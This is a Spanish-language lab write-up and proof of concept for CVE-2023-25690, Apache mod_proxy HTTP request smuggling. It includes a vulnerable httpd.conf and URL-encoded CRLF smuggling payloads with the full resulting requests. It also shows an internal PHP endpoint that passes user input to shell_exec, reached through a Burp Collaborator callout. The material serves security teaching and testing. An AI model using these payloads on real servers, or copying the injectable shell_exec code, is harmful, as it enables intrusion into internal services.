
CVE 2023 25690 Prueba de concepto - configuración vulnerable de mod_proxy en Apache HTTP Server versiones 2.4.0 - 2.4.55 conduce a una vulnerabilidad de HTTP Request Smuggling.
Algunas configuraciones de mod_proxy en las versiones 2.4.0 a 2.4.55 de Apache HTTP Server permiten un ataque de contrabando de solicitudes HTTP. Las configuraciones se ven afectadas cuando mod_proxy está habilitado junto con alguna forma de RewriteRule o ProxyPassMatch en la que un patrón no específico coincide con alguna parte del objetivo de solicitud (URL) proporcionado por el usuario y luego se vuelve a insertar en el objetivo de solicitud proxy utilizando sustitución de variables. Por ejemplo, algo como:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
La división/contrabando de solicitudes podría resultar en la evasión de controles de acceso en el servidor proxy, el proxy de URLs no deseadas a servidores de origen existentes y el envenenamiento de caché. Se recomienda a los usuarios actualizar al menos a la versión 2.4.56 de Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Con RewriteEngine on incluido en la configuración de Apache, se habilita el motor de reescritura de URL. La reescritura de URL es una técnica que permite a los servidores web cambiar dinámicamente las URLs solicitadas por el navegador de un cliente a una URL diferente antes de servir el contenido.
Por ejemplo, supongamos que tenemos la siguiente estructura de URL para una tienda en línea:
https://example-shop.com/categories/1
Suponiendo la siguiente directiva RewriteRule en un archivo de configuración de Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Cuando un usuario solicita la URL https://example-shop.com/categories/1, la RewriteRule coincidirá con la URL y capturará el valor 1 usando la expresión regular ^/categories/(.*). La regla luego reescribe la URL a http://example-shop.com:8080/categories?id=1 agregando el valor capturado a la URL reescrita como un parámetro de consulta id.
Dado que el flag [P] existe en la regla, Apache tratará la URL reescrita como una solicitud proxy y la reenviará al servidor de destino en http://example-shop.com:8080/categories con el parámetro de consulta id establecido en 1. El servidor de destino procesará la solicitud y enviará la respuesta de vuelta a Apache, que la reenviará al cliente.
En resumen, la directiva RewriteRule con el flag [P] se utiliza para reescribir URLs y proxyarlas a un servidor diferente. En este caso, la regla coincide con URLs que comienzan con /categories/ y agrega el valor capturado como un parámetro de consulta id a la URL reescrita. Apache luego reenvía la solicitud al servidor de destino, que procesa la solicitud y devuelve la respuesta.
Finalmente, con respecto a ProxyPassReverse /categories/ http://example-shop.com:8080/, esta línea simplemente reemplaza el dominio y la ruta del servidor backend por el dominio y la ruta del servidor proxy, de modo que el cliente pueda seguir correctamente los enlaces y acceder al contenido del servidor backend proxy como si se sirviera directamente desde el servidor proxy.

Para simular la vulnerabilidad en Apache usaremos la versión httpd 2.4.55. Además, todo el laboratorio se dockerizará para mejorar la facilidad de configuración, configuración y reproducibilidad.
La estructura de archivos del laboratorio será la siguiente:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
La configuración final de httpd.conf está estructurada de la siguiente manera:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Use el comando docker-compose.exe up --build para iniciar el laboratorio.
En esta sección, explicaré cómo una inyección CRLF puede provocar un contrabando interno de solicitudes HTTP, permitiendo a un atacante obtener acceso no autorizado a recursos internos que de otro modo serían inaccesibles.
Según la descripción del aviso, httpd <=2.4.55 es vulnerable a la división de respuestas HTTP, también conocida como inyección CRLF.
La inyección CRLF ocurre cuando:
lo cual en nuestro caso se puede confirmar pasando el siguiente prefijo CRLF en la URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Al agregar el prefijo anterior a la URL, la solicitud final resultante será la siguiente:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Tras la solicitud, el servidor procesará los datos y devolverá un código de respuesta 200 que indica vulnerabilidad a la inyección CRLF.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Más información sobre la división de solicitudes HTTP se puede encontrar aquí, https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Usando la inyección de cabeceras realizaremos el contrabando interno de solicitudes HTTP.
Comencemos con el siguiente prefijo:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
y la siguiente solicitud
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Aplicando la regla de reescritura, la solicitud se transforma en el siguiente formato:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
donde la URL codificada se decodifica en sintaxis HTTP válida, lo que provoca que el backend trate los datos decodificados como una segunda solicitud.
Supongamos que nuestra aplicación interna tiene el siguiente código secreto:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
con el siguiente prefijo podemos enviar la segunda solicitud a la funcionalidad oculta:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
y recuperar la solicitud en burp collaborator:

Parches:
El impacto de esta vulnerabilidad es que permite a los atacantes apuntar y acceder a aplicaciones internas que están destinadas a estar ocultas por el proxy inverso, lo que potencialmente conduce a acceso no autorizado, fuga de datos o una mayor explotación.